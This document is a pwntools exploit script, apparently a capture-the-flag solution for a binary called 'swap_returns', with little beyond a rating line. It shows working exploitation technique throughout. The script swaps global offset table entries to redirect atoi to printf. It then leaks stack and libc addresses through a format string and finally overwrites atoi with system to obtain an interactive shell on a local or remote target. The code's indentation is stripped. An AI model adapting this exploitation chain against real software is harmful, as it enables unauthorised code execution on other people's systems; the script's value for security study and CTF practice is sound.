Rating: 0

```python
from pwn import *
import sys

def _set(addr1, addr2):
r.sendlineafter('choice:', '1')
r.sendlineafter('address:', str(addr1))
r.sendlineafter('address:', str(addr2))

def _swap():
r.sendlineafter('choice:', '2')

def exploit(r, libc=None):
exit_got = 0x601018
atoi_got = 0x601050
printf_got = 0x601038
setvbuf_got = 0x601048
stderr = 0x6010a0

# swap printf and 0x601058
# now 0x601058 points to printf
_set(printf_got, 0x601058)
_swap()

# swap atoi and 0x601058
# now atoi points to printf
_set(atoi_got, 0x601058)
_swap()

# leak stack address with format string
r.sendlineafter('choice:', '%p')
r.recvline()
stack_leak = r.recv(14)
stack_addr = int(stack_leak, 16)

log.success('leaked stack address @ {}'.format(hex(stack_addr)))

# restore atoi
r.sendlineafter('address:', str(0x601058))
r.sendlineafter('address:', str(atoi_got))
_swap()

# swap exit with main address
_set(stack_addr+114, exit_got)
_swap()

# swap setvbuf and printf
_set(setvbuf_got, 0x601058)
_swap()

# stack_addr+42 points to 0x601048
# stack_addr+50 points to 0x601058

# exit to move stack address and back to main
r.sendlineafter('choice:', '3')

# swap stderr and setvbuf
# now stderr points to setvbuf
_set(stderr, stack_addr+50)
_swap()

# exit again to move stack address and back to
# so we can leak libc with setvbuff in finalize function
r.sendlineafter('choice:', '3')

r.recvuntil('Bye. ')
r.recv(8)

# leaked libc below
libc_leak = u64(r.recv(6).ljust(8, "\x00"))
libc_main = libc_leak - libc.symbols['setvbuf']
libc_system = libc_main + libc.symbols['system']
gadget = libc_main + 0x45216

log.success('leaked setvbuf @ {}'.format(hex(libc_leak)))
log.success('leaked libc main @ {}'.format(hex(libc_main)))

# write system at stack so we can use it later
_set(libc_system, 0xdeadbeef)

# now stack_addr - 86 points to system

# exit to move stack address
r.sendlineafter('choice:', '3')

# overwrite atoi with system
_set(atoi_got, stack_addr-86)
_swap()

r.interactive()

if __name__ == '__main__':
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
libc = ELF('./libc-a3c98364f3a1be8fce14f93323f60f3093bdc20ba525b30c32e71d26b59cd9d4.so.6')
exploit(r, libc)
else:
r = process(['./swap_returns'])
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
print util.proc.pidof(r)
exploit(r, libc)
```